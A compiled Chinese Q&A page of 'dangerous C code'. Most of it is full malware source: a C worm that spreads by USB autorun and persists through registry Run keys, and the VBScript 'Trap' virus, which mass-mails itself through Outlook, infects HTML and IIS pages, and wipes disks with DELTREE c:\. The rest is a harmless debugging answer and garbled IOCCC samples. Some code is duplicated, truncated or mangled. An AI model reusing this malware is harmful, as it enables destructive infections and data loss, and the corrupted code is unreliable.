c语言危险代码大全

㈠ 用C语言编写的病毒代码

一个c病毒源代码
#include <windows.h>
#include <Shlwapi.h>
#include <fstream.h>
#include <TlHelp32.h>
#include <Dbt.h>

#pragma comment(lib,"shlwapi.lib")

#define TIMER 1//计时器

//function
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//窗口过程
//获取盘符
TCHAR FirstDriveFromMask (ULONG unitmask);

//病毒从U盘启动时用到的函数
BOOL FileExist(TCHAR *path);//测试一个文件是否存在
BOOL GetSelfPath(TCHAR *path);//Get the virus's path
//BOOL FindU(TCHAR *u);//check whether u exist, u[2]
BOOL GetSysPath(TCHAR *path);//得到系统路径
BOOL CopyToSysAndSet(HWND hwnd);//复制自身到系统目录和设置
BOOL SetFileAttrib(TCHAR *path);//设置path所指文件的属性
BOOL RegAutoRun(TCHAR *path);//修改注册表，实现自启动

//从C盘启动时用到函数
BOOL CopyToUAndSet();//复制自己到U盘
BOOL CreateAutoRunFile(TCHAR *path);//在U盘下生成autorun.inf文件
BOOL FindSelf();//测试自己是否在已经执行了

//global variable
TCHAR szExePath[MAX_PATH];//the virus's path
TCHAR U[2];//保存U盘的盘符
TCHAR szSysPath[MAX_PATH];//system path

//constant
const TCHAR *szExeName="bbbbb.exe";
const TCHAR *szSysName="aaaaa.exe";
const TCHAR *szAutoRunFile="AutoRun.inf";

int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,
PSTR szCmdLine, int iCmdShow)
{
static TCHAR szAppName[]=TEXT ("UUUUUU");
HWND hwnd;
MSG msg;
WNDCLASS wndclass;

wndclass.style =0;
wndclass.lpfnWndProc =WndProc;
wndclass.cbClsExtra =0;
wndclass.cbWndExtra =0;
wndclass.hInstance =hInstance;
wndclass.hIcon =0;
wndclass.hCursor =0;
wndclass.hbrBackground =0;
wndclass.lpszMenuName =NULL;
wndclass.lpszClassName =szAppName;
if (!RegisterClass (&wndclass))
{
MessageBox (NULL,TEXT("Program requires Windows NT!"),
szAppName, MB_ICONERROR);
return 0;
}
hwnd = CreateWindow (szAppName, NULL,
WS_DISABLED,
0, 0,
0, 0,
NULL, NULL, hInstance, NULL);
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage (&msg);
DispatchMessage (&msg);
}
return msg.wParam;
}

LRESULT OnDeviceChange(HWND hwnd,WPARAM wParam, LPARAM lParam)
{
PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;
switch(wParam)
{
case DBT_DEVICEARRIVAL: //插入
if (lpdb -> dbch_devicetype == DBT_DEVTYP_VOLUME)
{
PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb;
U[0]=FirstDriveFromMask(lpdbv ->dbcv_unitmask);//得到u盘盘符
//MessageBox(0,U,"Notice!",MB_OK);
CopyToUAndSet();//拷到u盘
}
break;
case DBT_DEVICEREMOVECOMPLETE: //设备删除
break;
}
return LRESULT();
}

LRESULT CALLBACK WndProc (HWND hwnd, UINT message, WPARAM wParam,LPARAM lParam)
{
switch(message)
{
case WM_Create: //处理一些要下面要用到的全局变量
U[1]=':';
GetSysPath(szSysPath);//得到系统路径
SetTimer(hwnd,TIMER,5000,0);//启动计时器
GetSelfPath(szExePath);//得到自身的路径
return 0;
case WM_TIMER: //timer message
if(szExePath[0]==szSysPath[0]) //如果是系统盘启动的
SendMessage(hwnd,WM_DEVICECHANGE,0,0);//检测有没有插入设备消息
else
{
CopyToSysAndSet(hwnd);//拷到系统盘并自启动
}
return 0;
case WM_DEVICECHANGE:
OnDeviceChange(hwnd,wParam,lParam);
return 0;
case WM_DESTROY:
KillTimer(hwnd,TIMER);
PostQuitMessage(0);
return 0;
}
return DefWindowProc(hwnd, message, wParam, lParam);
}

TCHAR FirstDriveFromMask(ULONG unitmask)
{
char i;
for (i = 0; i < 26; ++i)
{
if (unitmask & 0x1)//看该驱动器的状态是否发生了变化
break;
unitmask = unitmask >> 1;
}
return (i + 'A');
}

BOOL GetSelfPath(TCHAR *path)
{
if(GetMoleFileName(NULL,path,MAX_PATH))//得到程序自身的目录
{
return TRUE;
}
else
return FALSE;
}

BOOL GetSysPath(TCHAR *path)
{
return GetSystemDirectory(path,MAX_PATH);//得到系统路径
}

BOOL CopyToSysAndSet(HWND hwnd)
{
TCHAR szPath[MAX_PATH];
lstrcpy(szPath,szSysPath);
lstrcat(szPath,"\\");
lstrcat(szPath,szSysName);//得到复制到系统目录的完整目录
if(!FileExist(szPath))//检测系统目录是否已经存在复制的文件
{
CopyFile(szExePath,szPath,FALSE);
RegAutoRun(szPath);
return SetFileAttrib(szPath);
}
else
{
if(!FindSelf())//检测自己有没有运行
{
//MessageBox(0,szExePath,szPath,MB_OK);
WinExec(szPath,SW_HIDE);//没有就执行
SendMessage(hwnd,WM_CLOSE,0,0);//结束自己
}
}
return FALSE;
}

BOOL FileExist(TCHAR *path)//检测PATH所指的路径的文件是否存在
{
int result;
result=PathFileExists(path);
if(result==1)
return TRUE;
else
return FALSE;
}

BOOL SetFileAttrib(TCHAR *path)
{
return SetFileAttributes(path,FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);
}

BOOL RegAutoRun(TCHAR *path)//修改注册表实现自启动
{
HKEY hkey;
DWORD v=0;
RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",&hkey);
RegSetValueEx(hkey,"NoDriveTypeAutoRun",0,REG_DWORD,(LPBYTE)&v,sizeof(DWORD));
if(RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\MICROSOFT\\Windows\\CurrentVersion\\Run",
&hkey)==ERROR_SUCCESS)
{
RegSetValueEx(hkey,szSysName,0,REG_SZ,(BYTE*)path,lstrlen(path));
RegCloseKey(hkey);
return TRUE;
}
else
return FALSE;
}
BOOL CopyToUAndSet()
{
TCHAR szPath[MAX_PATH];
lstrcpy(szPath,U);
lstrcat(szPath,"\\");
lstrcat(szPath,szExeName);//得到指向U盘的完整目录

TCHAR szAutoFile[MAX_PATH];
lstrcpy(szAutoFile,U);
lstrcat(szAutoFile,"\\");
lstrcat(szAutoFile,szAutoRunFile);

if(!FileExist(szAutoFile))
{
CreateAutoRunFile(szAutoFile);
SetFileAttrib(szAutoFile);
}
if(!FileExist(szPath))
{
CopyFile(szExePath,szPath,FALSE);
return SetFileAttrib(szPath);
}
return FALSE;
}

BOOL CreateAutoRunFile(TCHAR *path) //在U盘下创建一个autorun.inf文件
{
ofstream fout;
fout.open(path);
if(fout)
{
fout<<"[AutoRun]"<<endl;
fout<<"open="<<szExeName<<" e"<<endl;
fout<<"shellexecute="<<szExeName<<" e"<<endl;
fout<<"shell\\Auto\\command="<<szExeName<<" e"<<endl;
fout<<"shell=Auto"<<endl;
fout.close();
return TRUE;
}
return FALSE;
}

BOOL FindSelf(){
PROCESSENTRY32 pe;
HANDLE hShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
pe.dwSize=sizeof(PROCESSENTRY32);
if(Process32First(hShot,&pe)){
do{
if(lstrcmp(pe.szExeFile,szSysName)==0)
{
CloseHandle(hShot);
return TRUE;
}
}while(Process32Next(hShot,&pe));
}
CloseHandle(hShot);
return FALSE;
} 隐藏窗口：ShowWindow(false); （#include <windows.h>)
将程序暂停一秒后继续执行：sleep(1000); （同上）
删除文件：system("del 文件的路径");
运行文件：system("文件的路径");
system函数（#include <iostream>)
复制文件：详见remove函数（#include <process.h>）

-----------------------------------------------------------
一个不错的病毒完整源代码
#include <windows.h>
#include <Shlwapi.h>
#include <fstream.h>
#include <TlHelp32.h>
#include <Dbt.h>

#pragma comment(lib,"shlwapi.lib")

#define TIMER 1//计时器

//function
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//窗口过程
//获取盘符
TCHAR FirstDriveFromMask (ULONG unitmask);

㈡ 一段特别诡异的C语言代码 求大神告知

你发的这段程序，int flag放到你标记的两个位置都是一样的。但是我觉得应该放到下面的这个位置更合理：

#defineA(X)((t[X]-'0'做禅))
intmain()
{
	inti,j,N,m;
	chart[3];
//	intflag=0;
	scanf("%d",&m);
	for(j=1;j<=m;j++)
	{
		intflag=0;//应该放到这里来！！！！
		scanf("%d",&N);
		printf("Case%d:
",j);
		for(i=100;i<1000;i++)
		{
			sprintf(t,"%d",i);
			if((A(0)+A(1))*2+A(2)==N)
			{
				printf("%c%c%c%c%c
",t[0],t[1],t[2],t[1],t[0]);
				flag++;
			}
		}
		for(i=100;i<1000;i++)
		{
			sprintf(t,"%d",i);
			if((A(0)+A(1)+A(2))*2==N)
			{
				printf("%c%c%c%c%c%c
",t[0],t[1],t[2],t[2],t[1],t[0]);
				flag++;
			}
		}
		if(flag==0)printf("-1
");
	}
}

还可以优化为以下程序：

#defineA(X)((t[X]-'0'))
intmain()
{
	int纯神尘i,j,N,m,flag;
	chart[3];
	scanf("%d",&m);
	for(j=1;j<瞎橘=m;j++)
	{
		printf("Case%d:
",j);
		flag=0;
		scanf("%d",&N);
		for(i=100;i<1000;i++)
		{
			sprintf(t,"%d",i);
			if((A(0)+A(1))*2+A(2)==N||(A(0)+A(1)+A(2))*2==N)
			{
				printf("%c%c%c",t[0],t[1],t[2]);
				if((A(0)+A(1)+A(2))*2==N)printf("%c",t[2]);
				printf("%c%c
",t[1],t[0]);
				flag++;
			}
		}
		if(flag==0)printf("-1
");
	}
}

㈢ 给个C语言病毒代码.....要复制的....越长越好

下面就对“陷阱”的发作过程和源代码作详细的揭密。
病毒具有自身加密能力(使用 JavaScript 编码技术)，使得普通用户无法看到病毒原码，但在被感染 VBS 文件中并没有加密，于是作为一个入口点，我非常轻松地得到所有源码。丛贺毕

'@ thank you! make use of other person to get rid of an enemy, trap _2001

'这句话的意思可能是“借刀杀人”，然后是病毒名称“陷阱”

on error resume next

dim vbscr, fso,w1,w2,MSWKEY,HCUW,Code_Str, Vbs_Str, Js_Str

dim defpath, smailc, MAX_SIZE

dim whb(), title(10)

smailc = 4

Redim whb(smailc) ’白宫相关人员邮件名单

whb(0) = "[email protected]"

whb(1) = "[email protected] "

whb(2) = "[email protected]"渗芹

whb(3) = "[email protected]"

'发送邮件的主题

title(0) = "Thanks for helping me!"

title(1) = "The police are investigating the robbery"

title(2) = "an application for a job "

title(3) = "The aspects of an application process pertinent to OSI"

title(4) = "What a pleasant weather. Why not go out for a walk?"

title(5) = "These countries have gone / been through too many wars"

title(6) = "We've fixed on the 17th of April for the wedding"

title(7) = "The wind failed and the sea returned to calmness."

title(8) = "the sitting is open!"

title(9) = ""

defpath = "C:\Readme.html" ' 病毒文件

MAX_SIZE = 100000 ' 定义传染文件的最大尺寸

MSWKEY = "HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Windows\"

HCUW = "HKEY_CURRENT_USER\Software\Microsoft\拍宽WAB\"

main

sub main() '主程序

on error resume next

dim w_s

w_s= WScript.ScriptFullName '得到病毒文件本身的路径

if w_s = "" then

Err.Clear

set fso = CreateObject("Scripting.FileSystemObject") '创建文件系统对象

if getErr then '辨认病毒状态

Randomize '初始化随机种子

ra = int(rnd() * 7) '产生随机数

doucment.write title(ra) ' 写随机内容

ExecuteMail '执行邮件状态时的程序

else

ExecutePage '执行 WEB 页状态时的程序

end if

else

ExecuteVbs '执行 VBS 文件状态时的程序

end if

end sub

Function getErr() 忽略错误

if Err.number<>0 then

getErr=true

Err.Clear

else

getErr=false

end if

end function

sub ExecutePage() 'WEB 页状态时的程序

on error resume next

dim Html_Str, adi, wdf, wdf2,wdf3,wdsf, wdsf2, vf

Vbs_Str = GetScriptCode("vbscript") '得到 VBScript 代码

Js_Str = GetJavaScript() ' 得到 Javascript 代码

Code_Str = MakeScript(encrypt(Vbs_str),true) '得到已加密过的脚本代码

Html_Str = MakeHtml(encrypt(Vbs_str), true) '得到已加密的完整HTML代码

Gf

'定义病毒文件的路径

wdsf = w2 & "Mdm.vbs"

wdsf2 = w1 & "Profile.vbs"

wdf = w2 & "user.dll" ' 注意 wdf 和 wdf3 两个文件非常迷惑人

wdf2 = w2 & "Readme.html"

wdf3 = w2 & "system.dll"

'创建病毒文件

set vf = fso.OpenTextFile (wdf, 2, true)

vf.write Vbs_Str

vf.close

set vf = fso.OpenTextFile (wdsf, 2, true)

vf.write Vbs_Str

vf.close

set vf = fso.OpenTextFile (wdsf2, 2, true)

vf.Write Vbs_Str

vf.close

set vf = fso.OpenTextFile (wdf2, 2, true)

vf.write Html_Str

vf.close

set vf = fso.OpenTextFile (wdf3, 2, true)

vf.write Code_Str

vf.close

修改注册表，让病毒文件在每一次计算机启动自动执行

Writereg MSWKEY & "CurrentVersion\Run\Mdm", wdsf, ""

Writereg MSWKEY & "CurrentVersion\RunServices\Profile", wdsf2, ""

SendMail ' 执行发送邮件程序

Hackpage ' 执行感染网站程序

set adi = fso.Drives

for each x in adi

if x.DrivesType = 2 or x.DrivesType = 3 then '遍历所有本地硬盘和网络共享硬盘

call SearchHTML(x & "\") '执行文件感染程序

end if

next

if TestUser then '检查用户

Killhe 执行删除文件操作

else

if Month(Date) & Day(Date) = "75" then '如系统时间为 7月5日

set vf = fso.OpenTextFile(w2 & "75.htm", 2,true) ’创建系统攻击文件

vf.write MakeScript ("window.navigate ('c:/con/con');", false)

vf.close

Writereg MSWKEY & "CurrentVersion\Run\75", w2 & "75.htm", "" '自动启动

window.navigate "c:/con/con" '立刻蓝屏，利用 Windows BUG，能引起 Win9X 系统100%死机（即无法恢复的蓝屏）

else '如不是7.5

if fso.FileExists(w2 & "75.htm") then fso.DeleteFile w2 & "75.htm" ' 删除75.htm

end if

end if

if fso.FileExists(defpath) then fso.DeleteFile defpath ' 删除 C:\Readme.html 病毒文件

end sub

sub ExecuteMail() '邮件状态时执行的程序

on error resume next

Vbs_Str = GetScriptCode("vbscript")

Js_Str = GetJavaScript()

Set Stl = CreateObject("Scriptlet.TypeLib") '创建 TypeLib对象

with Stl

.Reset

.Path = defpath

.Doc = MakeHtml(encrypt(Vbs_str), true)

.Write() '创建 C:\Readme.html 文件

end with

window.open defpath, "trap", "width=1 height=1 menubar=no scrollbars=no toolbar=no" 打开会隐藏的窗口

end sub

sub ExecuteVbs() ' 同理，如病毒文件是 VBS 时所执行的程序

on error resume next

dim x, adi, wvbs, ws, vf

set fso = CreateObject("Scripting.FileSystemObject")

set wvbs = CreateObject("WScript.Shell")

Gf

wvbs.RegWrite MSWKEY & "Windows Scripting Host\Setings\Timeout", 0, "REG_DWORD"

set vf = fso.OpenTextFile (w2 & "system.dll", 1)

Code_Str = vf.ReadAll()

vf.close

Hackpage

SendMail

set adi = fso.Drives

for each x in adi

if x.DrivesType = 2 or x.DrivesType = 3 then

call SearchHTML(x & "\")

end if

next

if TestUser then Killhe

end sub

sub Gf() '得到系统路径

w1=fso.GetSpecialFolder(0) & "\"

w2=fso.GetSpecialFolder(1) & "\"

end sub

function Readreg(key_str) '读注册表

set tmps = CreateObject("WScript.Shell")

Readreg = tmps.RegRead(key_str)

set tmps = Nothing

end function

function Writereg(key_str, Newvalue, vtype) '写注册表

set tmps = CreateObject("WScript.Shell")

if vtype="" then

tmps.RegWrite key_str, Newvalue

else

tmps.RegWrite key_str, Newvalue, vtype

end if

set tmps = Nothing

end function

function MakeHtml(Sbuffer, iHTML) '创建HTML 文件的完整代码

dim ra

Randomize

ra = int(rnd() * 7)

MakeHtml="<" & "HTML><" & "HEAD><" & "TITLE>" & title(ra) & "</" & "TITLE><" & "/HEAD>" & _

"<BO" & "AD>" & vbcrlf & MakeScript(Sbuffer, iHTML) & vbcrlf & _

"<" & "/BOAD><" & "/HTML>"

end Function

function MakeScript(Codestr, iHTML) '此程序是病毒进行自我加密过程,较为复杂，不再描述

if iHTML then

dim DocuWrite

DocuWrite = "document.write('<'+" & "'SCRIPT Language=JavaScript>\n'+" & _

"jword" & "+'\n</'" & "+'SCRIPT>');"

DocuWrite = DocuWrite & vbcrlf & "document.write('<'+" & "'SCRIPT Language=VBScript>\n'+" & _

"nword" & "+'\n</'" & "+'SCRIPT>');"

MakeScript="<" & "SCRIPT Language=JavaScript>" & vbcrlf & "var jword = " & _

chr(34) & encrypt(Js_Str) & chr(34) & vbcrlf & "var nword = " & _

chr(34) & Codestr & chr(34) & vbcrlf & "nword = unescape(nword);" & vbcrlf & _

"jword = unescape(jword);" & vbcrlf & DocuWrite & vbcrlf & "</" & "SCRIPT>"

else

MakeScript= "<" & "SCRIPT Language=JavaScript>" & Codestr & "</" & "SCRIPT>"

end if

end function

function GetScriptCode(Languages) ' 得到不同脚本语言的代码

dim soj

for each soj in document.scripts

if LCase(soj.Language) = Languages then

if Languages = "javascript" then

if len(soj.Text)> 200 then

else

GetScriptCode = soj.Text

exit function

end if

else

GetScriptCode = soj.Text

exit function

end if

end if

next

end function

function GetJavaScript()

GetJavaScript = GetScriptCode("javascript")

end function

function TestUser() '检测用户过程

on error resume next

dim keys(6), i, tmpStr, Wnet

'特定用户关键词

keys(0) = "white home"

keys(1) = "central intelligence agency"

keys(2) = "bush"

keys(3) = "american stock exchang"

keys(4) = "chief executive"

keys(5) = "usa"

TestUser = false

Set Wnet = CreateObject("WScript.Network") '创建网络对象

'下面一共3个循环，作用一样，是检查用户的 Domain、用户名和计算机名是否含有以上的5个关键词语，一旦含有程序将返回”真”的条件，从而对这些用户的文件进行疯狂删除。

tmpStr = LCase(Wnet.UserName) '

for i=0 to 4

if InStr(tmpStr, keys(i)) > 0 then

TestUser=true

exit function

end if

next

tmpStr = LCase(Wnet.ComputerName)

for i=0 to 4

if InStr(tmpStr, keys(i)) > 0 then

TestUser=true

exit function

end if

next

tmpStr = LCase(Wnet.UserDomain)

for i=0 to 4

if InStr(tmpStr, keys(i)) >0 then

TestUser=true

exit function

end if

next

Set Wnet = Nothing

end function

function SendMail() '发送文件过程

on error resume next

dim wab,ra,j, Oa, arrsm, eins, Eaec, fm, wreg, areg,at

'首先向 OutLook 地址簿发送带能直接感染文件的已加密的病毒代码和HTML 附件

主题是随机的，此过程与“欢乐时光“类似，所以不再描述
Randomize

at=fso.GetSpecialFolder(1) & "\Readme.html"

set Oa = CreateObject("Outlook.Application")

set wab = Oa.GetNameSpace("MAPI")

for j = 1 to wab.AddressLists.Count

eins = wab.AddressLists(j)

wreg=Readreg (HCUW & eins)

if (wreg="") then wreg = 1

Eaec = eins.AddressEntries.Count

if (Eaec > Int(wreg)) then

for x = 1 to Eaec

arrsm = wab.AddressEntries(x)

areg = Readreg(HCUW & arrsm)

if (areg = "") then

set fm = wab.CreateItem(0)

with fm

ra = int(rnd() * 7)

.Recipients.Add arrsm

.Subject = title(ra)

.Body = title(ra)

.Attachments at

.Send

Writereg HCUW & arrsm, 1, "REG_DWORD"

end with

end if

next

end if

Writereg HCUW & eins, Eaec, ""

next

'下面是对指定的用户无条件发送大量病毒邮件, 从这一点可看出病毒作者对美国政府的极度不满。

for j = 1 to smailc

arrsm = whb(j)

set fm = wab.CreateItem(0)

ra = int(rnd() * 7)

with fm

.Recipients.Add arrsm

.Subject = title(ra)

.Body = title(ra)

.Send

end with

next

set Oa = Nothing

window.setTimeout "SendMail()", 5000 '每隔 5 秒种重复发送

end function

sub SearchHTML(Path) '搜索可传染文件的过程

on error resume next

dim pfo, psfo, pf, ps, pfi, ext

if instr(Path, fso.GetSpecialFolder(2)) > 0 then exit sub

if Path <> "E:\" then exit sub

set pfo = fso.GetFolder(Path)

set psfo = pfo.SubFolders

for each ps in psfo

SearchHTML(ps.Path)

set pf = ps.Files

for each pfi in pf

ext = LCase(fso.GetExtensionName(pfi.Path))

if instr(ext, "htm") > 0 or ext = "plg" or ext = "asp" then '检查文件的扩展名是否为 htm、html、plg 如是则检查是否被感染，如未被感染则将已加密的病毒代码插入文件头，这样文件一旦执行也会执行病毒代码，而且不会影响原文件的正常执行。

if Code_Str<>"" then AddHead pfi.Path, pfi, 1

elseif ext= "vbs" then '如是 vbs 文件，则插入未加密的病毒代码

AddHead pfi.Path,pfi, 2

end if

next

next

end sub

sub Killhe() '全盘删除文件过程

on error resume next

dim codeText, ko,adi, kd, kh, ks,kf,kfs

codeText = "@ECHO OFF" & vbcrlf & "PATH " & w1 & "COMMAND" & vbcrlf &_

"DELTREE c:\" '将删除C盘的命令插入Autoexec.bat 中，下次开机时，删除整个硬盘，并没有任何提示

set ko = fso.OpenTextFile("C:\Autoexec.bat", 8, true)

ko.Write vbcrlf & codeText

ko.Close

'接着立刻删除其它盘的所有文件

set adi = fso.Drives

for each x in adi

if x.DrivesType = 2 then

set kd = fso.GetFolder(x & "\")

set kfs = kd.Files

for each kf in kfs

kf.Delete

next

set ks = kd.SubFolders

for each kh in ks

kh.Delete

next

end if

next

do while 1 '让系统立刻死机

window.open ""

loop

end sub

sub Hackpage() ' 此过程是直接攻击 Mircosoft IIS 服务器主页过程

dim fi

H = "C:\InetPut\wwwroot"

if fso.FolderExists(H) then

'判断是否为网站，如是则将已加密的带病毒代码插入文件头，从而直接传染浏览该网站的用户

set fi = fso.GetFile(H & "\index.htm")

AddHead H & "\index.htm",fi,1

end if

end sub

sub AddHead(Path, f, t) '此过程是病毒传染文件具体过程

on error resume next

dim tso, buffer,sr

if f.size > MAX_SIZE then exit sub '传染大小小于100K的文件

set tso = fso.OpenTextFile(Path, 1, true)

buffer = tso.ReadAll()

tso.close

if (t = 1) then

if UCase(Left(LTrim(buffer), 7)) <> "<SCRIPT" then

set tso = fso.OpenTextFile(Path, 2, true)

tso.Write Code_Str & vbcrlf & buffer '插入到文件头

tso.close

end if

else

if mid(buffer, 3, 2) <> "'@" then

tso.close

sr=w2 & "user.dll"

if fso.FileExists(sr) then fso.CopyFile sr, Path

end if

end if

end sub

虽然病毒发作日已过但我们还是要小心提防病毒的变种出现。

㈣ 国际C语言混乱代码大赛的代码样例

第21届国际C语言混乱代码大赛（IOCCC）正式发布了获奖源代码。IOCCC要求参赛者写出最有创意且最让人难以理解的C语言代码，大小限制在4 kb以内，因此每位参赛者的作品都让人印象深刻。获胜者包括1名法国人，1名韩国人，5名美国人，1名比利时人，1名以色列人，1名英国人，4名日本人和1名中国人。
选取了几个代表性作品大家共赏一下更可怕的是，它们都可以编译通过！！！！ #include <stdio.h>
#include <stdlib.h>
#define s(_)sizeof(_)
#define n void*
#define z(_)_,_,_
#define x (s*)__
#define y (s*)_
#define h C(y,y)
#define o &d
#define t() (p)
#define w(_)_,_
typedef n (*(*(*(*p)(n,n))(n,n))(n,n))(n,n);
typedef struct s { struct s* a ; struct s* UNUSED; } s;
typedef struct t { struct s* UNUSED; struct s* a ; } *t;
n __(n _,n __) { return _;}n _(n _,n __){return __; }
typedef unsigned char e;
#define _(_)((*_).a)
s*
w,
a={x ,x},
b={x ,y},
c={y,x},d={y,y};s l[]={&b,&d,w (w(w(w(w(w(&d)))))),w(&d),&c,&d,w(w(w(
&d))),&c,w(&b),&d,&a,z(&d),z(w (w(w(w(w(&d)))))),&b,&b,w(&d),&a,&b,w(&
d), z(w
(w( w(w
(&d))))),w(w(w(&d))), &b,&c,&d, &d,&a,&c ,w(w(&d)), &c,z(&b) ,w(&d),w(&a)
};s* C(s* a, s* b) {s* _=malloc(s(s));_(_)=a;_((t)_)=b;return _;}e k2=s(l
);p f(p
a,p b)
{ e k;s d;p v,r, q,i,C,c,u,g,m=t( )
_ ( _(_(w)));C=t() _(_(&l[fread(&k,s(e )
,s ( e),stdin)]));v =C(_,__);d=l[k=(e )
C ( k2,k)];c=(u=a( b,_),i=(t()_((t )
_ ( _(w))))(_,_(_(o)) ),(a(_(_((t)o)),(t( )
_ ( _((t)o)))(_,__) ))(b(_((t)_((t)o) )
, ( t()_((t)_((t)o))) (_,__)),_));{p a=t( )
_ ( (t)_(o));{p b= C(_,i(u(_,__),_) )
; { p u=C(_,(t()_(_(o) ))(_,__));_(_(_(w)) )
= ( s*)i(__,_(_( _(w))));r=b(m(c,_ )
,C ( m(_,(t()_(( t)_(_(w))))(_,__) )
, ( f)));v=b(_,v);i =b(a(_,__),_);g=(b )
( a(m(c(_,__),__ ),_),_);q=u(_((t )
_ ( o)),_)((t()_( (t)_(_(w))))((t( )
_ ( _((t)o)))(_(_((t )_(w))),(t()_(_((t )
_ ( w))))(_,__))( _,__),_)(_,__),_ )
;_ ( _((t)_(w))) = (s*)u(_((t)_(o)),_ )
( (t()_((t)_(_(w)))) (_,__),_)(_(_((t)o) )
,_ ( _((t)_(w))));} }_((t)_(_(w)))=(s* )
q ( a=(t()_((t)_(_(w))) )(_,__),_((t)_(_(w))) )
; fwrite((k=k,&k2) ,s(e),u(_,g)(s(e )
, ( e)s(s[s(s[s(s[s (s)])])])),stdout )
; fwrite((k2=k,&k) ,s(e),u(__,g)(s(e )
, ( e)s(s[s(s[s(s[s (s)])])])),stdout )
;_ ( _(_((t)w)))=(s*) u((t()_(_(_((t)w))) )
( _,__),_(_(_((t)w ))));_(_((t)_(w)) )
= ( s*)q(a(_(_((t) o)),_(_((t)_(w))) )
,_ ( _((t)_(w))));} _((t)_(_((t)w)))=(s* )
( t()_(_(_((t)w))) )(_((t)_(_((t)w)) )
,u ( (t()_((t)_(_(( t)w))))(_,__),_((t )
_ ( _((t)w)))));g =u((q=u(C(__,(t( )
_ ( _(_((t)w))))(_((t )_(_((t)w))),_)),_) )
( _,__),g);v=g( __,i(u(_,i(f,_) )
( _(_((t)o)),_( (t)_((t)o))),v) )
,r= q(_
,g( f,i
(v(f,(_(_(_(w)))=(s*)m,_)),r)));return q(_,v)(r(g(__,a),g(__,b)),r);}
int main
(){w=C(C(h,h),C(h,h));return printf((e*)f(_,_)(OK , ^ Error
)) （运行生成更小的头像代码） /*++++[>i>n[t*/#include<stdio.h>/*2w0,1m2,]_<n+am+o>r>i>=>(['0n1'0)1;*/int/**/main(int/**/n,char**m){FILE*p,*q;intA,k,a,r,i/*#uinndcelfu_dset<rsitcdti_oa.nhs>i/_*/;char*d=P%d %d40%d/**/ %d 0wb+,b[1024],y[]=yuriyurarararayuruyuri*daijiken**akkari~n**/y*u*k/riin<ty(uyr)g,aur,arr[a1r2a82*y2*/u*r{uyu}riOcyurhiyua**rrar+*arayra*=yuruyurwiyuriyurara'rariayuruyuriyuriyu>rarararayuruy9uriyu3riyurar_aBrMaPrOaWy^?*]/f]`;hvroai<dp/f*i*s/<ii(f)a{tpguat<cahfaurh(+uf)a;f}vivn+tf/g*`*w/jmaa+i`ni(/***/i+k[>+b+i>++b++>l[rb;int/**/u;for(i=0;i<101;i++)y[i*2]^=~hktrvg~dmG*eoa+%squ#l2:(wn1l))v?wM353{/Y;lgcGp`vedllwudvOK`cct~[|ju{stkjalor(stwvnegtyogYURUYURI[i]^y[i*2+1]^4;/*!*/p=(n>1&&(m[1][0]-'-'||m[1][1]!=''))?fopen(m[1],y+298):stdin;/*y/riynrt~(^w^)],]c+h+a+r+*+*[n>)+{>f+o<r<(-m]=<2<5<64;}-]-(m+;yry[rm*])/[**/q=(n<3||!(m[2][0]-'-'||m[2][1]))?stdout/*]{}[*/:fopen(m[2],d+14);if(!p||/*]<<*-]>y++>u>>+r>+u+++y>--u---r>++i+++<)<;[>-m-.>a-.-i.++n.>[(w)*/!q/**/)return+printf(Cannot open40%s40for40%sing ,m[!p?1:2],!p?/*o=82]5<<+(+3+1+&.(+m+-+1.)<)<|<|.6>4>-+(>m-&-1.9-2-)-|-|.28>-w-?-m.:>([28+*/read:writ);for(a=k=u=0;y[u];u=2+u){y[k++]=y[u];}if((a=fread(b,1,1024/*,mY/R*YR*/,p/*U*/)/*R*/)>/*U{*/2&&b/*Y*/[0]/*U*/=='P'&&4==/*y*r/y)r}*/sscanf(b,d,&k,&A,&i,&r)&&!(k-6&&k-5)&&r==255){u=A;if(n>3){/*]&<1<6<?<m.-+1>3>+:+.1>3+++.-m-)-;.u+=++.1<0<<;f<o<r<(.;<([m(=)/8*/u++;i++;}fprintf(q,d,k,u>>1,i>>1,r);u=k-5?8:4;k=3;}else/*]>*/{(u)=/*{p>>u>t>-]s>++(.yryr*/+(n+14>17)?8/4:8*5/4;}for(r=i=0;;){u*=6;u+=(n>3?1:0);if(y[u]&01)fputc(/*<g-e<t.c>h.ar-(-).)8+<1.>;+i.(<)<<)+{+i.f>([180*/1*(r),q);if(y[u]&16)k=A;if(y[u]&2)k--;if(i/*(^w^NAMORI;{I*/==a/*)*/){/**/i=a=(u)*11&255;if(1&&0>=(a=fread(b,1,1024,p))&&)]i>(w)-;}{/i-f-(-m--M1-0.)<{[8]==59/**/)break;i=0;}r=b[i++];u+=(/**>>*..</<<<)<[[;]**/+8&*(y+u))?(10-r?4:2):(y[u]&4)?(k?2:4):2;u=y[u/*49;7i(w)/;}y}ru=*ri[,mc]o;n}trientuuren(*/]-(int)'`';}fclose(p);k=+fclose(q);/*]<*.na/m*o{ri{d;^w^;}}^_^}}*/returnk--1+/*''-`*/(-/*}/*/0x01);{;{}};/*^w^*/;}